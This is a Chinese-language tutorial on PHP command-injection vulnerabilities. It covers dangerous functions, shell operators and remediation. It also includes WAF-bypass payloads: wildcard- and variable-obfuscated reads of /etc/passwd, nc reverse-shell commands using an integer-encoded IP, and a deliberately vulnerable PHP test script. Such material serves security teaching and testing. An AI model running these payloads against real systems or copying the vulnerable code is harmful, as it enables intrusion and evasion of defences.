命令執行漏洞原理:
應用有時需要調用一些執行系統命令的函數,如PHP中的system、exec、shell_exec、passthru、popen、proc_popen等,當用戶能控制這些函數的參數時,就可以將惡意系統命令拼接到正常命令中,從而造成命令執行攻擊,這就是命令執行漏洞。
命令執行漏洞利用條件:
- 應用調用執行系統命令的函數
- 將用戶輸入作為系統命令的參數拼接到了命令行中
- 沒有對用戶輸入進行過濾或過濾不嚴
漏洞分類:
- 代碼層過濾不嚴
商業應用的一些核心代碼封裝在二進制文件中,在web應用中通過system函數來調用:system("/bin/program --arg $arg");
- 系統的漏洞造成命令注入
bash破殼漏洞(CVE-2014-6271)
- 調用的第三方組件存在代碼執行漏洞
如wordPress中用來處理圖片的imageMagick組件
JAVA中的命令執行漏洞(struts2/ElasticsearchGroovy等)
ThinkPHP命令執行
漏洞危害:
- 繼承Web服務程序的權限去執行系統命令或讀寫文件
- 反彈shell
- 控制整個網站甚至服務器
- 進一步內網滲透
- 等等
命令拼接符
|、||、&、&&的區別:
&:無論左邊是false還是true,右邊都執行
&&:具有短路效果,左邊是false,右邊不執行。
|:無論左邊是false還是true,右邊都會執行
||:具有短路效果,左邊是true,右邊不執行。
代碼執行:
利用系統函數實現命令執行,在php下,允許命令執行的函數有:
eval()、assert()、preg_replace()、call_user_func()
如果頁面中存在這些函數並且對於用戶的輸入沒有做嚴格的過濾,那么就可能造成遠程命令執行漏洞
其他函數
ob_start()、unserialize()、creat_function()
、usort()、uasort()、uksort()、
array_filter()、
array_reduce()、
array_map()......
系統命令執行漏洞
system()
exec()
shell_exec()
passthru()
pcntl_exec()
popen()
proc_open()
反引號
......
命令執行WAF繞過技巧
技巧一:通配符
ls-l
使用通配符
/?in/?s-l
/???/??t /??c/p???w?
有時候WAF不允許使用太多的?號
/?in/cat/?tc/p?sswd
NC反彈shell:
nc -e /bin/bash 127.0.0.1 3737
為了避免符號,可以將IP地址轉換成整型。
127.0.0.1->2130706433
使用通配符
root@kali:~#/??n/?c -e/??n/b??h 2130706433 3737
技巧二:連接符
技巧三:未初始化的bash變量
在bash環境中允許我們使用未初始化的bash變量,如何
$a ,$b,$c
我們事先並沒有定義它們,輸出看看:
root@kali:~# echo $a
root@kali:~# echo $b
root@kali:~# echo $c
root@kali:~#
未初始化的變量值都是null
讀取/etc/passwd:
cat$a /etc$a/passwd$a
測試WAF
測試代碼:
<?php
echo "OK";
system('dig'.$_GET['host']);
?>
www.baidu.com;$s/bin$s/which$s nc$s
反彈shell:
/bin$s/nc$s -e/bin$s/bash$s 2130706433 3737
漏洞修復:
- 盡量少用執行命令的函數或者直接禁用
- 參數值盡量使用引號包括
- 在使用動態函數之前,確保使用的函數是指定的函數之一
- 在進入執行命令的函數/方法之前,對參數進行過濾,對敏感字符進行轉義
- 對PHP語言來說,不能完全控制的危險函數最好不要使用